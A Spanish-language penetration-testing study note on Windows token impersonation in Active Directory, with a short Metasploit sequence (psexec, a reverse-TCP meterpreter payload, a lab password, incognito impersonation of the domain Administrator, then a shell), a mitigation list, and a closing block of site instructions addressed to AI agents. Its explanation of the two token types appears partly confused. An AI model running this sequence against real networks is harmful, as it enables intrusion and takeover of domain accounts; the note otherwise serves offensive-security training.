# Token Impersonation

### Qué son los tokens?

* Claves temporales que permiten acceder a un sistema/red sin tener que proveer las credenciales cada vez que necesitamos acceder a un archivo.
* Digamos que son como las cookies pero para las computadoras.

#### Dos tipos

* **Delegate:** Creadas para iniciar sesión en una máquina o usar escritorio remoto
* **Impersonate (suplantación):** "Non-Interactive", como adjuntar una unidad de red o un script de inicio de sesión de dominio

### Token Impersonation:

**Token Impersonation** es un concepto en sistemas operativos Windows, donde un proceso (llamado el "servidor") puede actuar en nombre de otro proceso (el "cliente") utilizando su identidad. Esto se logra a través del uso de tokens de seguridad.

#### Tipos de Tokens:

1. **Token de Delegación (Delegation Token)**:
   * Un token de delegación es un tipo de token de seguridad que permite a un proceso actuar en nombre de otro proceso, pero solamente dentro del mismo equipo.
   * Es útil en aplicaciones distribuidas donde un proceso necesita realizar acciones en nombre de otro proceso en la misma máquina.
   * Por ejemplo, en una aplicación web, un servidor web puede usar un token de delegación para acceder a recursos en nombre del usuario que está utilizando la aplicación.
2. **Token de Impersonación (Impersonation Token)**:
   * Un token de impersonación, por otro lado, permite que un proceso actúe en nombre de otro proceso tanto en la misma máquina como en máquinas remotas.
   * Es comúnmente utilizado en aplicaciones cliente-servidor donde un servidor necesita realizar acciones en nombre de un cliente, ya sea en la misma máquina o en máquinas remotas.
   * Por ejemplo, en un entorno de servidor de archivos, el servidor puede usar un token de impersonación para acceder a archivos y recursos en nombre del cliente que solicitó la acción.

En resumen, el token impersonation permite a un proceso actuar en nombre de otro, y existen dos tipos de tokens asociados: delegación, que permite la acción solo en la misma máquina, y impersonate, que permite la acción tanto en la misma máquina como en máquinas remotas. Estos conceptos son fundamentales en la programación y la seguridad de sistemas distribuidos en entornos Windows.

#### Metasploit - `incognito`

```bash
search psexec
use exploit/windows/smb/psexec
options
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 172.16.0.101
set SMBUser pparker
set SMBPass Password123
set smbDomain MARVEL.local
meterpreter> load incognito
meterpreter> list_tokens -u # Lista los tokens disponibles bajo el contexto del usuario actual
meterpreter> impersonate_token MARVEL\\Administrator
meterpreter> shell
```

### Mitigación

* Limitar los usuarios/grupos que tiene permisos para la creación de tokens
* Jerarquización de cuentas
  * Ej. Si Bob es administrador de dominio, no es necesario que Bob utilice la cuenta de Administrador de Dominio para iniciar sesión en una máquina.
* Restricción de Administradores locales.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/active-directory/token-impersonation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
